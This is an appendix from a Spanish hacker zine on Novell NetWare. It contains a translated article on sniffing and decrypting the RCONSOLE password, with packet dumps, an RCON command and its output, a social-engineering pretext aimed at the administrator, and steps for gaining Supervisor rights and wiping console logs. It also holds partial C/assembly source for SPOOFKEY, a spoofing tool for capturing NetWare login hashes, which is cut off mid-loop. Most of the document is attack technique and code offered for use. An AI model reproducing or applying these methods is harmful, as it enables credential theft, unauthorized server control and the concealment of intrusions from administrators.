-[ 0x0E ]--------------------------------------------------------------------
-[ CURSO DE NOVELL NETWARE - APENDICES I & II ]------------------------------
-[ by MadFran ]-------------------------------------------------------SET-20-


---------------------------------------------------------------------------

Apendice 1 - Codigos Fuente y otra Documentacion

A-01. RCONSOLE Articulo de Hacking 

Este articulo aparecio en el numero del verano/96 del 2600 Magazine

---------------------------------------------------------------------------

RCONSOLE Hacking by Simple Nomad (Traduccion madfran)

Hay muchas Universidades y companias que utilizan Netware de Novell. A pesar
del avance en el mundo de sistemas como Unix y Microsoft NT, Novell todavia
tiene un 60% del mercado (.... esto se escribia en el verano del 96....)
Las otras plataformas estan, ahora, alcanzando los rendimientos de Netware
, muy rapido y con servicios de archivo e impresion, muy dignos de
confianza. Esto significa que para los hackers profesionales (si,... existen,
y se llaman a si mismos guerreros de la informacion), el conocimiento de
Netware es critico. Mucha informacion de empresas, hojas de calculo, memos 
secretos, listas de password, numeros de entrada y salida, cuentas bancarias,
y procedimientos de transferencias y muchas cosas mas estan almacenadas en
archivos en sistemas Netware en todo el mundo.

En este articulo, intento explicar como extraer la password de RCONSOLE desde
un sniffer para conseguir el acceso a la consola de un server Netware Novell.
Mientras las versiones 3.x y 4.x emplean tecnicas de encriptado y firma de
paquetes para hacer login, RCONSOLE (Consola remota) utiliza una unica
password para lanzar una sesion remota a la consola del server, permitiendo
a un administrador teclear comandos como si estuviera frente a la consola.

Debe decirse que a pesar de que la version actual de Netware es la 4.1, y
esta tecnica solo funciona en redes 3.x, la mayor parte de las redes todavia
trabajan en 3.x y encima las que se han pasado a 4.1, siempre conservan por 
diversas razones, algun servidor 3.x Tipicamente en Universidades y grandes 
corporaciones, es mas facil para el personal de mantenimiento, sincronizar
la password para todos los servidores. Por tanto, es posible atacar al 
eslabon mas debil de la cadena, para conseguir acceso a un server 4.1

Este articulo asume que se tienen conocimientos basicos de Netware, sin
embargo quiero clarificar algunos conseptos basicos acerca de la seguridad.

Elemento basicos de seguridad
-----------------------------

Hay cinco niveles de seguridad en Netware a nivel de archivos :

1. NO CONECTADO. Todo lo que se necesita es una conexion al server, no hace
   falta que hayas hecho login. Este nivel de acceso permite correr comandos
   de tipo simple, como LOGIN.EXE, SLIST.EXE y basicamente cualquier utilidad
   que se encuentre en el directorio SYS:LOGIN.

2. CONECTADO. Acceso basico controlado a traves de Trustee Rights. 
   (Administrador de Derechos)

3. ACCESO DE OPERADOR. Los operadores tienen acceso basico y pueden controlar
   las colas de impresion y utilizar algunos comandos especiales que se 
   incluyen en FCONSOLE.

4. ACCESO DE SUPERVICOR. Aceeso total al sistema. Es el acceso mejor guardado
   puedes alcanzar cualquier archivo del sistema, administrar y controlar
   cualquier aspecto desde accesos de usuarios a configuracion de la seguridad.

5. ACCESO AL SISTEMA OPERATIVO. Este es el nivel de acceso en el que se 
   ejecutan los procesos en el server. La mayor parte de los comandos tecleados
   desde la consola se ejecutan a este nivel, y si puede que no te permite el
   nivel de detalle que tienes como Supervisor, ciertamente te abre la puerta
   para conseguir sus derechos.
   Los NLM (Network Loadable Modules) son programas que si son cargados desde
   la consola, forman parte del sistema operativo. Algunos permanecen residentes
   otros se descargan ellos solos una vez han cumplido su cometido.

Aqui hablaremos de un punto debil de Netware, el acceso remoto a la consola.
Mientras que Novell ha hecho un esfuerzo enorme en proteger la seguridad en
los niveles 1 a 4, RCONSOLE esta protegido con una simple password con
encriptacion simple, que puede romperse con facilidad. Una de mis herramientas
preferidas es RCON.EXE. Esta utilidad, escrita por itsme de Holanda (autor
de HACK.EXE, KNOCK.EXE y otras famosas herramientas), te permite, a partir
de informacion sniffada durante el proceso de inicializacion de una sesion
de RCONSOLE, romper la encriptacion de la password.

Una vez tienes la password de RCONSOLE, puedes emplear otras tecnicas para
alcanzar derechos de supervisor.

En mi opinion, la parte mas dificil, es acceder a los datos del proceso de
inicializacion. La mayor parte de la informacion de este articulo se refiere
a items tecnicos basados en hechos predicibles y repetitivos. Pero capturar
los datos usando un sniffer puede ser bastante dificil. Estan en juego
tres factores :

 - Accesibilidad.
 - Disponibilidad.
 - Tiempo.


Accesabilidad
-------------

Debes tener acceso a la red. Especificamente, necesitas acceder en el segmento
del server o en el segmento de la victima, de otra forma jamas podras oir la
conversacion. A pesar de que es posible acceder en el segmento a traves del
cual pasa el trafico, es mejor situarse en el segmento de la victima. La mejor
forma es conectarse en el server al cual se conecta la victima y teclear
USERLIST /A. Del listado que veras, podras extraer la direccion de la red y 
del nodo. La direccion de la red es el segmento donde esta la victima, y el
nodo es el numero hexadecimal de 12 digitos de la tarjeta de conexion fisica 
del PC (NIC), tambien conocido como MAC o Media Acces Control.

Desde luego, asumo que tienes acceso fisico a la red. Es posible telefonear a 
una LAN utilizando pcAnywhere, instalar un sniffer basado en DOS y capturar
los paquetes. Tambien es posible arrancar una caja UNIX y lanzar un sniffer
que ponga la tarjeta de red en modo promiscuo (para explicar esto, hace falta
un articulo entero). No entrare en detalles, pero tienes que asumir que el
Administrador no tiene en este despacho los derechos del pcAnywhere de 
conexion telefonica, o no podras hacerlo a traves del firewall.
No hay nada peor que conectarse telefonicamente a la LAN utilizando pcAnywhere
y tener al Admin viendo cada cosa que haces debido a que la maquina esta
al otro lado del despacho del Admin !!!

Disponibilidad
--------------

Lanzar un sniffer es un trabajo que utiliza la CPU de una manera intensiva
La CPU debe ser suficientemente rapida para copiar toda la informacion del
buffer del NIC a la RAM sin perder ningun paquete. Si tu sniffer filtra la
informacion, o sea si mira en ele interior de cada paquete y solo guarda los
que cumplen ciertos criterios, entonces debe ser todavia mas rapida.
Algunos de vosotros deben haberse dado cuenta que es un trabajo de titanes.
Tienes que lanzar un sniffer en un PC que pueda manejar una cantidad decente
de la actividad de la CPU, conectado a una red especifica y permitir correr
sin que nadie se aperciba. Esto significa que no puedes tomar un viejo 286 y
esperar maravillas. Hace falta un hardware decente.

Despues tienes que esperar que tu sniffer basado en DOS soporte cualquier
tipo de tarjeta y que pueda configurarse en modo promiscuo. Un sniffer
muy comun es Gobbler, que funciona con la mayor parte de las tarjetas
Ethernet con pocos trucos. Sino, te hace falta un driver que permita el modo
promiscuo en la tarjeta que utilices.

Si es una ventana UNIX, particularmente si es un server, es posible con
el acceso adecuado poner la tarjeta de red en modo promiscuo. Yo prefiero
server UNIX que workstation, debido a que normalmente se encuentran en el
mismo segmento.


Tiempo (o momento de la escucha)
------
Es la mas duro. Si tienes los requisitos anteriores, te queda una parte 
dificil .... capturar los paquetes interesantes. Puede hacerse de dos maneras
Primero a traves de alguna ingenieria social creandote la necesidad para que 
el Admin lance el RCONSOLE, o puedes filtrar todos los paquetes hasta
encontrar el que contiene la password.

El primero es dificil pero no imposible. Haciendose pasar como empleado
nuevo, llama al Admin y dile que estas intentando conectarte y que recibes 
el mensaje "El SUPERVISOR ha deshabilitado la funcion LOGIN". Para arreglarlo
lo normal es teclear ENABLE LOGIN en la consola. El Admin, invariablemente
lanzara RCONSOLE para corregir el problema y tu tendras la informacion. Te
dira que todo marcha bien y tu responderas que el problema esta en tu PC y te
pedira que lo arranques de nuevo, con la impresion de que todo esta correcto
te dira "Todo debera ir bien, si tienes un problema no dudes en llamarme"
y colgara. Bien, tienes tu paquete

El segundo metodo depende de tu sniffer. Si puede analizar paquetes en tiempo
real, hazle capturar solo los que viajen entre el PC del Admin y el server,
y solo salva los SPX. Si solo dispones de utilidades de mascara, utiliza la
informacion detallada de identificacion de paquetes para encontrar la
mascara especifica de tu sniffer. Encontraras informacion al final de este
articulo.

Una nota final acerca de accesibilidad, disponibilidad y tiempo. Un portatil
con tarjeta PCMIA Ethernet con software de sniffer y capacidad de filtrado
te dara toda la informacion. Los hackers serios utilizan portatiles con
Lanalyzer o Network General's Sniffer con tecnicas similares a las que
aparecen en el articulo de Voyager "Janitor Privileges" en el numero de
invierno 94-95 de 2600.


Analizando los paquetes
-----------------------

Una vez hemos capturado los paquetes de la victima, tienes que ser capaz de
examinar su contenido y interpretarlo. Tienes que ser capaz de encontrar los 
paquetes que provienen de la victima y se dirigen al server. Segun el sniffer 
que utilices, puede ser mas o menos dificil. La mayor parte de los sniffers
de alto precio te permitiran filtrar en funcion del tipo de direccion y de
paquete, y esta utilidad te sera de gran ayuda para encontrar exactamente
lo que necesitas. Pero en soluciones freeware o shareware, puede significar
que tengas poca o ninguna capacidad de filtrado, y esto significa mirar un
monton de dumps en hex.

Pero aqui asumimos que sabes como utilizar tu sniffer (o conseguir el dump
a partir de la tarjeta de red) y como minimo encontrar la conversacion
entre victima y server. Para ayudarte a encontrar estos paquetes,
discutiremos los caminos para encontrar las direcciones.

A continuacion los tres primeros paquetes que se envian despues de que la 
victima ha pulsado enter despues de entrar la password

Paquetes Ethernet enviados desde la victima hacia el server para 
establecer la conexion SPX 


ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 2A FF FF
0010  00 2A 04 05 00 00 00 03  00 00 00 00 00 01 81 04
0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E C0 00 44 00
0030  FF FF 00 00 00 00 00 06  ED 05 00 00

El server responde:

ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 00 A2 00 3D 77 00 80  29 00 34 35 00 2A FF FF
0010  00 2A 01 05 00 00 00 02  02 60 8C A7 E9 AA 50 0E
0020  00 00 00 03 00 00 00 00  00 01 81 04 80 00 90 82
0030  44 00 00 00 00 00 00 00  08 00 5A 7F

Y la password se envia:

ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 AC FF FF
0010  00 AC 04 05 00 00 00 03  00 00 00 00 00 01 81 04
0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E 40 00 44 00
0030  90 82 00 00 00 00 00 06  FE FF 47 45 5A 4D 4C 24
0040  8C 9C 8A 3A B3 46 33 25  13 15 6E 94 94 4F C0 5B
0050  08 14 A5 0A 70 E5 F2 0B  F4 70 AA 03 FA 3F C4 88
0060  C0 79 FF 85 CB 0B 27 56  B6 D3 CF 8E 2D 9F 7D 25
0070  85 25 7C E8 B3 95 29 AF  8C 8E 4E 11 EE F7 37 8C
0080  35 C4 AD A3 F9 80 18 4E  0C CD 9E 26 0B 65 2A 3B
0090  1A 1E F4 AD 43 BB 6E 06  35 8C 49 3B 3B 3A B6 00
00A0  39 CB 17 6B C2 5C 63 38  D1 0B 3C A0 EB B0 40 66
00B0  87 DE E6 3E 1C 2A 12 FC  A2 37                  

Para explicar un poco lo que esta pasando, miremos lo que hay en cada
paquete. Empecemos por el primero.


Del Offset 00h al 0Dh es la capa Data Link Control :

ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 2A        De 00h hasta 0Dh
                                                        es la capa Data Link
                                                        Control.

0000                                             FF FF  Inicio de IPX , 
0010  00 2A 04 05                                       FF FF es un checksum
                                                        10h y 11h es la 
                                                        longitud del IPX
                                                        12h es el control de
                                                        transporte, 13h es
                                                        el tipo de paquete IPX 
                                                        (05 is SPX).

0010              00 00 00 03  00 00 00 00 00 01 81 04  14h hasta 1Fh es el
                                                        destino del paquete
                                                        con el socket. Los
                                                        server Netware son 
                                                        siempre
                                                        00 00 00 00 00 01.

0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E              20h hasta 29h es el
                                                        origen del
                                                        paquete

0020                                       C0 00 44 00  2Ch inicia la seccion
                                                        SPX con 2Ch el tipo
                                                        de  control, 2Dh el
                                                        tipo de datastream, y
                                                        2Eh y 2Fh la ID SPX
                                                        del origen de la
                                                        conexion.

0030  FF FF 00 00 00 00 00 06                           30h y 31h son la 
                                                        ID del destino
                                                        de la conexion
                                                        FF FF es una 
                                                        publicacion o el 1er
                                                        paquete SPX en esta 
                                                        conversation. EL 
                                                        siguiente par de 3 byte
                                                        son el numero de
                                                        secuencia,
                                                        el numero de acuerdo 
                                                        y el numero de
                                                        allocation.

0030                                       ED 05 00 00  La longitud minima de
                                                        un packet sera 60
                                                        bytes, si no hay  
                                                        datos los ultimos
                                                        4 bytes son 
                                                        rellenados con 
                                                        basura.

FORMA DE COMPARAR MODELOS
-------------------------
Si eres afortunado y tu sniffer soporta comparacion de modelos, hay algunos 
puntos a analizar.

1. Busca el modelo FF FF xx xx xx 05 para localizar el comienzo de un 
   paquete SPX que empiece en el offset 0Eh.
2. La direccion del server empieza en el offset 14h, en el ejemplo anterior 
   00000003:000000000001 con un socket IPX igual a 8104. Todas las 
   conversaciones IPX usan numeros socket IPX, por tanto el modelo cuadra 
   de 14h a 1Dh.   
3. La direccion de la victima empieza en el offset 20h, en el ejemplo anterior
   es 00000002:02608CA7E9AA con un socket IPX de 500E. El modelo debe situarse
   entre 20h y 29h.

Con esta informacion tienes que ser capaz de identtificar un paquete IPX
cuando pasa delante tuyo e identificar las direccones del servidor y de
la victima. Utilicemos esta informacion para identificar el tercer paquete,
el que contiene el password.

ADDR  OFFSET
BASE  00 01 02 03 04 05 06 07  08 09 0A 0B 0C 0D 0E 0F
----  -- -- -- -- -- -- -- --  -- -- -- -- -- -- -- --
0000  00 80 29 00 34 35 00 00  A2 00 3D 77 00 AC FF FF
0010  00 AC 04 05 00 00 00 03  00 00 00 00 00 01 81 04
0020  00 00 00 02 02 60 8C A7  E9 AA 50 0E 40 00 44 00
0030  90 82 00 00 00 00 00 06  FE FF 47 45 5A 4D 4C 24
0040  8C 9C 8A 3A B3 46 33 25  13 15 6E 94 94 4F C0 5B
0050  08 14 A5 0A 70 E5 F2 0B  F4 70 AA 03 FA 3F C4 88
0060  C0 79 FF 85 CB 0B 27 56  B6 D3 CF 8E 2D 9F 7D 25
0070  85 25 7C E8 B3 95 29 AF  8C 8E 4E 11 EE F7 37 8C
0080  35 C4 AD A3 F9 80 18 4E  0C CD 9E 26 0B 65 2A 3B
0090  1A 1E F4 AD 43 BB 6E 06  35 8C 49 3B 3B 3A B6 00
00A0  39 CB 17 6B C2 5C 63 38  D1 0B 3C A0 EB B0 40 66
00B0  87 DE E6 3E 1C 2A 12 FC  A2 37                  

Todo lo que necesitamos es la direccion de la red (de 20h a 23h), la
direccion del nodo (de24h a 29h) y la password encriptada. En la seccion
que empieza en 38h, 38h siempre es FE y 39h es FF. Los 8 bytes siguientes 
son la password. Hay muchos mas, pero solo estos dicen algo.

Utilizando RCON
---------------

En el ejemplo anterior, la password es 47455A4D4E248C9C, la red es
00000002 y le nodo es 02608CA7E9AA. Ahora ya puedes lanzar RCON de 
la forma siguiente:

RCON 47455A4D4E248C9C 00000002 02608CA7E9AA

y recibiras la siguiente respuesta:

decrypted pw:
0000 : 47 45 5a 4f 4e 44 00 3b e9 aa 15 15 15 17 17 75  - GEZOND.;ڬ.....u
node address after encryption:
0000 : 11 11 11 13 13 71 9d b8 e5 a6                    - .....qةժ      

Como puedes ver la password de RCONSOLE es "GEZOND".

El Paso Siguiente
-----------------

Debes de tener en cuenta algunas cosas cuando accedes a la consola de forma
remota. Cuando utilices RCONSOLE, todas tus actividades seran registradas
Por tanto en cuanto obtengas la password no se te ocurra lanzarte a utilizarla
sin planear tus acciones y como cubrir tus trazas. Y para cubrir tus trazas 
debes conseguir acceso al archivo del sistema.

Una nota rapida. Como la password del Supervisor siempre funciona con RCONSOLE
intenta conectarte como Supervisor con la password que has descubierto. Si lo
consigues, felicidades. Tienes acceso al archivo del sistema.

No dare muchos detalles , pero hay muchas tecnicas para conseguir el acceso 
como Supervisor. Todas las que a continuacion voy a explicar, implican cargar
modulos NLMs y despues lanzarlos. RCONSOLE tiene una opcion para cargar 
archivos en el server (Pulsa * en el teclado y selecciona la opcion de 
transferir archivos en el server).Inmediatamente despues se debe descargar 
el NLM utilizado para conseguir el acceso para borrar tus trazas. 
A continuacion un rapido ejemplo, una vez mas asumimos algunos conocimientos 
generales de la administracion de Netware.

1. En la consola teclea UNLOAD CONLOG. Si esta cargado CONLOG, toda respuesta
   a un comando tecleado en la consola se escribe en un archivo. El
   CONLOG.NLM, viene con 4.x pero funciona con 3.x

2. Carga BURGLAR.NLM y crea un nuevo usuario con derechos de Supervisor, o
   carga SETPWD.NLM y resetea la password de un usuario que tiene derechos de
   Supervisor (BURGLAR.NLM y SETPWD.NLM se encuentran en Internet)

3. Sal de RCONSOLE y haz login.

4. Borra BURGLAR.NLM o SETPWD.NLM y purgalos del sistema.

5. Si CONLOG esta cargado, busca y borra o edita el archivo CONSOLE.LOG
   para borrar tus actividades. Borra o edita SYS$LOG.ERR para eliminar 
   tus trazas. Si los borras, purgalos despues. Si los editas, utiliza 
   FILER para devolverles sus atributos iniciales

Desde luego el mas tonto de los administradores se dara cuenta que CONLOG
no esta cargado, si creo que alguien se dara cuenta, yo rearranco el 
server corriendo un archivo NCF con las lineas siguientes.

REMOVE DOS
DOWN
EXIT

Cuando lanzo este archivo, me mantengo remotamente conectado a la consola
por si fuera necesario contestar "Si" a algun tipo de pregunta "Estas
seguro ? ...." Si tienes necesidad de mas informacion de como crear y
lanzar archivos NCF, hay cientos de libros que hacen referencia a esto.


Conclusiones
------------

Bien, la primera conclusion es que la utilidad RCONSOLE no es muy segura.
Si eres administrados, la unica forma de evitar este tipo de ataques es
actualizarte a 4.x y utilizar paquetes firmados. Desde luego los otros
items a tener en cuenta son :

1. Te hace falta tiempo y acceso, ..y el momento adecuado.
2. Debes tener un par de utilidades (SETPWD.NLM,..) para conseguir el
   acceso total.
3. Es recomendable trabajar rapido.


Divertiros y feliz  hacking.

[ Gracias a itsme por la codificacion de RCON.EXE y a Jeff Carr por 
asistirnos en las pruebas de las tecnicas aqui descritas. 
RCON.EXE puede encontrarse en ftp.fastlane.net directorio /pub/nomad/nw ]


---------------------------------------------------------------------------

Apendice dos - Codigos fuente y documentacion diversa

A-02. Codigo fuente de SPOOFKEY

Los comentarios de Greg estan en el mismo codigo...
(Traduccion madfran)

---------------------------------------------------------------------------

<++> set_020/curso_novell/spoofkey.c
/*          SPOOFKEY.C (C) 1996 by Greg Miller (libre distribucion)     */

/*  Aqui utilizamos un fallo en la inplementacion del numero de la 
secuencia para implementar un ataque MITM (Man In The Middle, Hombre En Medio)
en el protocolo login del Netware (modo bindery).  El truco nos
permite implementar el ataque en una maquina que se encuentre entre
el PC atacado y el server.
*/

/*
 Este programa implementa el ataque descubierto por
 David Wagner <daw@cs.berkeley.edu>.  
 
 Antes de lanzar el programa necesitas :
  (1) Un buen fichero de palabras (ftp://sable.ox.ac.uk/pub/wordlists)
  (2) Convertir la lista en una lista hash 
     (http://grendel.ius.indiana.edu/~gmiller/) 
  (3) editar la variable SpoofStation[] para poner el numbre del PC
      que quieres atacar.
Despues de lanzar el programa, se vera el hash.
Comparalo con tu lista de hash que has generado antes y tendras la
correspondencia con la password para conectarte.

 El ataque falsea tanto la ID de la victima como el valor random generado
por el server cuando el PC intenta conectarse. Esto es lo que permite al
atacante utilizar una lista hash pre-generada como posibles passwords.
Aqui hemos utilizado un valor aleatorio de FFFFFFFFFFFFFFFF y un ID de
FFFFFFFF.
*/


/*
NOTA: Deberas utilizar una maquina bastante rapida para interceptar
la respuesta del server. Parece facil, pero no lo es a menos que el server
se encuentre sobrecargado. Tambien tendras problemas si se pierden las
peticiones del PC. Bien,.... parece que este programa necesita de alguna
optimizacion
*/

/*
NOTA: El PC intentara dos login. Uno sin password, y el segundo con
una peticion de login verdadera. Este es el motivo por el cual veras dos
hashes en la pantalla en lugar de uno. El segundo es el unico de tu
interes.
*/

/*
NOTA: Este programa solo funcionara en servers 3.x, o un server 4.x
cuando el PC que se quiere conectar lo haga en modo bindery.
*/

#include <stdio.h>
#include <string.h>
#include <conio.h>

#define TRUE -1
#define FALSE 0

//Tipo de paquete IPX en una trama 802.3
#define PACKET_TYPE 19

//Tipo de funcion NCP en una trama 802.3
#define FUNCTION_CODE 50

//Tipo de subfuncion NCP en una trama 802.3
#define SUBFUNC_CODE 53

//Plantilla para una password hasheada en un cliente NCP
//para peticion de login en una trama 802.3
#define KEY_OFFSET 52

typedef unsigned char BYTE;
typedef unsigned int WORD;
typedef unsigned long DWORD;

int DataRemaining = TRUE;
int x;

BYTE packet[2000];
BYTE SendPacket[2000];

WORD handle;
int packet_received = FALSE;
int NotDone = TRUE;

/* Cambia estas variables para reflejar el PC que estas
   atacando. Tambien podrias cambiar los valores spoof
   por alguno de estos motivos:
   1. Para evitar el uso de un programa de deteccion automatico
   2. Para evitar que algun otro, utilizando un sniffer y la
      misma lista de palabras, te robe la password al vuelo.
*/

BYTE SpoofStation[6] = {0x00,0x00,0xf4,0xa9,0x95,0x21};
BYTE SpoofID[4] = {0xff,0xff,0xff,0xff};
BYTE SpoofKey[8] = {0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff};

int c;
WORD pktlen;
WORD Sendpktlen;

void Initialize(){
}

/*En realidad, las funciones para los driver API deberian estar en un
  archivo separado, pero los he incluido aqui para facilitar la 
  distribucion
*/

static void far PacketReceived(){

        /*Esta funcion es llamada por el driver de los paquetes cuando se
          recibe un nuevo paquete. Si AX=0 cuando se llama a la funcion.
          el driver pone el paquete en el buffer. Si AX=1 significa que
          el paquete ya ha sido copiado en el buffer.
        */

        _asm{
                pop di          //Borland C 3.1 pone DI por algun motivo.
                                //Quita esta linea si tu compilador
                                // no lo hace.

                cmp ax,1        //ax=0 para tomar buffer o 1 cuando sea
                jz copy_done

                mov ax,seg packet
                mov ES,ax
                lea DI,packet
                mov cx,2000     //longitud del buffer
                retf
        }

copy_done:
        packet_received = TRUE;
        pktlen=_CX;

        _asm{retf}
end:
}

void RegisterWithPKTDRV(){
 /*Esta funcion registra la "pila de protocolo" con el driver.
   Le damos la direccion de la funcion a llamar cuando se recibe un
   paquete en ES:DI, la clase de interface en AL, y el tipo de 
   interface en BX. DS_SI tiene que apuntar al tipo de paquetes que se
   quieren recibir, con su longitud wn CX, sin embargo, si queremos 
   recibir cualquier tipo de paquetes debemos dejar DS:SI solo y 
   poner CX=0.
   Almacenamos el valor en AX con INT 60h, para posteriores usos.
        */

        _asm {
                pusha

                mov bx,0ffffh  //Comodin para cualquier interface
                mov dl,0
                mov cx,0    //recive cualquier tipe de paquetes
                mov ax, seg PacketReceived
                mov es,ax
                lea di, PacketReceived
                mov ah,02
                mov al,01   //tipo de clase para 3com 509
                int 60h
                jc err

                mov handle,ax

                popa
        }

        printf("Registered with packet driver\r\n");
        return;
err:
        printf("Error registering stack: %d\r\n",_DH);
        _asm{popa}

}

void RelinquishProtocolStack(){

   /* Control de la interface y desenganche de la funcion
      de recepcion de paquetes
   */

        /*Release Type*/
        _asm{   pusha

                mov ah,3
                mov bx,handle
                int 60h
                jc err
            }


        /*Terminate driver for handle*/
        _asm{
                mov ah,5
                mov bx,handle
                int 60h
                jc err

                popa
        }

        printf("Stack Relinqushed\r\n");
        return;
err:
        printf("Error releasing Stack: %d",_DH);
}

void EnterPromiscuousMode(){

/*Esta funcion pone la tarjeta de red en modo promiscuo al colocar
  el modo de recepcion en CX y el manejador en BX. El modo 6 es
  promiscuo. Esto obliga a que la interface reciba todos los paquetes
  de la red.
  El hacker debe tener en cuenta que algunas tarjetas de red envian 
  paquetes a la red para anunciar que han pasado a modo promiscuo.
  Cuando esto sucede, la direccion MAC real se publica en la red para
  que todas la vean. Esto puede permitir a otro, identificar que un
  ataque esta ocurriendo, y el origen del mismo.
  Si tu tarjeta no tiene esta opcion (muchas no la tienen), el ataque
  puede pasar desapercibido.
*/
        _asm{
                pusha

                mov ah,14h
                mov bx,handle
                mov cx,6
                int 60h
                jc err

                popa
        }

        printf("Promiscuous mode set\r\n");
        return;
err:
        printf("Error entering promiscuous mode: %d\r\n",_DH);
        _asm{popa}
}

void printhex(BYTE d){
/*Un mecanismo Hock para escribir dump en HEX, Si, hay otros
  mucho mejores sistemas de hacerlo
 */
 BYTE temp;
 _asm{
  mov al,d
  shr al,1
  shr al,1
  shr al,1
  shr al,1
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c",temp);
 _asm{
  mov al,d
  and al,0fh
  add al,90h
  daa
  adc al,40h
  daa
 }
 temp=_AL;
 printf("%c ",temp);
}

void SendPack(){
 /*Pone una trama ethernet en la red. El tremble, etc no se incluyen
   pero la direccion hardware si. Esto permite falsear nuestra direcion
   a nivel de hardware.

   A pesar de que Netware no mira que direccion hardware es, implementar
   el ataque de este modo evita que se pueda trazar el ataque hasta tu
   maquina
      */

        _asm{   pusha

                mov ax,seg SendPacket
                mov ds,ax
                lea si,SendPacket
                mov cx,Sendpktlen
                mov ah,04
                int 60h

                jc err

                popa
        }
        printf("Sending:\r\n");
        for(c=0;c<pktlen;c++){printhex(packet[c]);}
        printf("\r\n");
        return;
err:
        printf("Error sending packet: %d\r\n",_DH);
        _asm{popa}
}

void SendEncryptionKeyReply(){

/* Estamos detectando la peticion del cliente de una llave encriptada
   al server. Nosotros enviaremos nuestra llave falsa al cliente, con
   suerte antes que lo haga el server. Si lo conseguimos, el cliente
   ignorara la clave del server y utilizara la nuestra.
   Para que esto ocurra, tenemos que utilizar el correcto numero de 
   secuencia en la respuesta. Con NCP, los numeros de secuencia son
   meros contadores de los paquetes enviados. Cuando el cliente envia
   una peticion, la respuesta usa el mismo numero que recibio. Debido
   a la estructura del protocolo NCP, no es necesario ningun acuse de
   recibo.
   Esto hecho permite la sincronizacion de server y cliente y hace el
   ataque mucho mas facil. En caso de utilizarse protocolo TCP, el
   codigo seria diferente. 
  */

        memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
        memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

        //Pon la longitud de 802.3 aqui.

        SendPacket[12]=00;
        SendPacket[13]=0x2e;

        memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
        memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
        SendPacket[16]=0;SendPacket[17]=0x2e;    //IPX Length
        SendPacket[18]=1;                        //Hop Count
        SendPacket[19]=17;  //Packet type = NCP
        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
        memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi
        SendPacket[50]=0;  //Completion code
        SendPacket[51]=0;  //Connection Status

        memcpy(SendPacket+52,SpoofKey,8);  //Key

        Sendpktlen = 60;
        printf("Spoofing Encryption Key Reply\r\n");
        SendPack();
}

void SendIDReply(){

   /*Estamos copiando una peticion del cliente para obtener un UID
     Nosotros enviaremos nuestro falso UID de la misma forma
   */

        memcpy(SendPacket,packet+6,6); //Copy 802.3 dest addr
        memcpy(SendPacket+6,packet,6); //Copy 802.3 src addr

        SendPacket[12]=0;       //802.3 length hi
        SendPacket[13]=0x5c;    //802.3 length lo

        memcpy(SendPacket+20,packet+32,12); //Copy dest addr,net,sock
        memcpy(SendPacket+32,packet+20,12); //Copy src addr,net,sock
        SendPacket[14]=0xff;SendPacket[15]=0xff; //Checksum
        SendPacket[16]=0;SendPacket[17]=0x5c;    //IPX Length
        SendPacket[18]=0;                        //Hop Count
        SendPacket[19]=17;  //Packet type = NCP
        SendPacket[44]=0x33; SendPacket[45]=0x33; //Reply Type
        memcpy(SendPacket+46,packet+46,4);  //Seq num,con num,task,con num hi
        SendPacket[50]=0;  //Completion code
        SendPacket[51]=0;  //Connection Status

        memcpy(SendPacket+52,SpoofID,4);  //ID

        SendPacket[56]=packet[54];SendPacket[57]=packet[55];  //Object type
        memset(SendPacket+58,'\000',47);
        memcpy(SendPacket+58,packet+57,packet[56]);           //Object name

        Sendpktlen=105;
        printf("Spoofing ID Reply\r\n");
        SendPack();
}

void WaitForPacket(){
 while(!packet_received){
 if (kbhit()) NotDone = FALSE;
 }

// for(c=0;c<pktlen;c++){printhex(packet[c]);}
// printf("\r\n");

 packet_received=FALSE;
}

void WaitForStationLoginRequest(){

  /*Este es el bucle principal del programa, aqui se produce
    el ataque. Cuando el usuario teclea su nombre de usuario
    el cliente intenta conectarse con un password NULL.
    si el login fracasa, el usuario recibe un mensaje solicitando
    el password. Esto se hace asi, porque tenemos que suplantar
    la llave y el UID dos veces para asegurar que recibimos 
    ambas peticiones. Este es el motivo del bloque for() {...}

    El protocolo de login de Netware es el siguiente :
    1. El cliente envia una peticion para una llave de login.
       Y el server responde enviando un numero aleatorio de 
       8 bytes al cliente.
    2. El cliente envia una peticion para una identificacion de
       usuario (ID). El server responde enviando la ID al cliente
    3. El cliente calcula una funcion del tipo f(UID, llave, password) y
       envia este valor al server como peticion para un login.
       El server ejecuta el mismo calculo, si el valor recibido desde 
       el cliente es igual, el server acepta al cliente.

    Como, hemos falsificado la UID y la llave, la funcion f() producira
    siempre el mismo valor para la misma password.
    Este el motivo por el cual hemos pregenerado una lista de hashes
    utilizando una base de datos de palabras de paso comunes.
    La base de datos generada puede contener un mapeo desde el hash a
    la password. Ya que la mayor parte de la gente utiliza una unica
    palabra como password, esta base de datos puede generarse rapidamente
    con un PC. Despues es solo cuestion de buscar en la base de datos hash
    para obtener la password. 
        
    Debido al pobre diseo de la funcion hash por parte de Netware, es 
    posible que mas de una password tanga la misma hash. Ello no significa
    que las passwords sean equivalentes. Tienes que probarlas manualmente
    hasta encontrar la correcta.
      */

 for(x=0;x<2;x++){

